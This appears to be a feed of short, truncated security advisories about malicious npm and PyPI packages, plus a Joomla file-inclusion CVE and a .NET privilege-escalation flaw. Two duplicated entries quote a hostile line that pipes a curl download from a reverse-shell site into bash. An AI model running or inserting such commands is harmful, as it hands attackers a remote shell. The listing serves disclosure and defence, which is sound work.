Malicious code in intel-cicd-repo-infrastructure (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 26e9f9760ea5108609a4a105c621c9ed1ac03930e70fe4cfe400f7c256a7641a Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...

Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion

A directory traversal vulnerability in the Preventive & Reservation compreventive component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. dot dot in the controller parameter to index.php. id: CVE-2010-1475 info: name: Joomla...

Malicious code in svelte-streaks (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b07b98d6a7986da479ed75708e37dfbff0df7a6ee136f7dad1db24087bed2cf6 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in streak-calendar (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware cdbe692fd3eb07f38adbdf075f40fb7f0f656154e5f2e54570a97d6f6e1bba9a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in streak-daycount (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d5a02c91969e01fc57050b8fabfc6abe2e50b9455cdaa4357791d24546b5623a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in @apexfdn/apex (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware df9efaae229211f074088ddd2af0aa90bbb5598a155fcfb982b37133be73dfc8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in nolby (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b21eb09af067749fee65992ad1d26cfca82a29b74c3298b9c7a87fa7052e179f Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in react-tabulix-virtual (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis dbfc5a819e6dfbc3c65ec83a79a9f93a95da71259279c54e95f34c36ab81a22f The OpenSSF Package Analysis project identified 'react-tabulix-virtual' @ 0.1.1 npm as malicious. It is considered malicious because: - The...

MAL-2026-10968 Malicious code in commonweb-rewards (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 186ad60c2221871a68cd4513fc2d2295a0595156cdea7615a49de03572f2e8e8 The OpenSSF Package Analysis project identified 'commonweb-rewards' @ 99.9.1 npm as malicious. It is considered malicious because: - The package...

MAL-2026-10867 Malicious code in vantrala (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 e598f1a12fbd4aed3a98f1942d98fb5ca47182206f0090ac57d7927010061b37 In this campaign, packages use names similar to popular services e.g. Kimi AI to deploy cryptominer. --- Category: MALICIOUS - The campaign has clearly malicio...

MAL-2026-10864 Malicious code in kimichat (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 1d4795d0466af3e087dba2ac688463000092f9f4fda9040a4653956a3dc2583a In this campaign, packages use names similar to popular services e.g. Kimi AI to deploy cryptominer. --- Category: MALICIOUS - The campaign has clearly malicio...

dotnet: .NET Framework: Privilege escalation via code injection

A flaw was found in .NET Framework. This vulnerability, caused by improper control of code generation, allows an unauthorized attacker to inject malicious code. Successful exploitation can lead to local privilege escalation, enabling the attacker to gain higher access rights on the affected syste...

MAL-2026-10846 Malicious code in @gocortexio/npmgremlinbox-qpl-1-0-inria-2004 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 269cfa8afaaef9836a6f0d2f53e1a6e72cfa7a3c466c4831bb5c7269e7d2bf73 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10775 Malicious code in n8n-nodes-devops-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 464fa8baaffef716b3920968d35dfbf6c8d49cd439ad5c5bd45050074436d79b Package masquerades as an n8n community node package.json declares n8n.nodes: "MyNode.js", a trivial placeholder while index.js contains an unrelated...

MAL-2026-10732 Malicious code in hehehe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 588dd776720f805d7d84a58c93ffcd21ed860e3fc21a48787d732eb6180b974d Package is published as an 'enterprise Windows Diagnostic Utility' but is an anti-proctoring cheating tool that also steals the installer's browser...

MAL-2026-10714 Malicious code in @hibachi-xyz/sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 54956c91d0cedbe9097a2a8f7fa864382bd3b5a91ba7ccbe4a0219081be711f9 index.js the package main executes at require-time and performs credential and host exfiltration. It iterates process.env and filters keys matching a...

Malicious code in vor8zakon (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...

MAL-2026-10743 Malicious code in nordpass (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9df6f21fababcd99ba522d380a0729d35aa4ff44ee2f6612fe75b906da844aee Package name impersonates the NordPass password-manager product while presenting itself as 'A simple authentication module.' The package.json...

Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...

MAL-2026-10691 Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...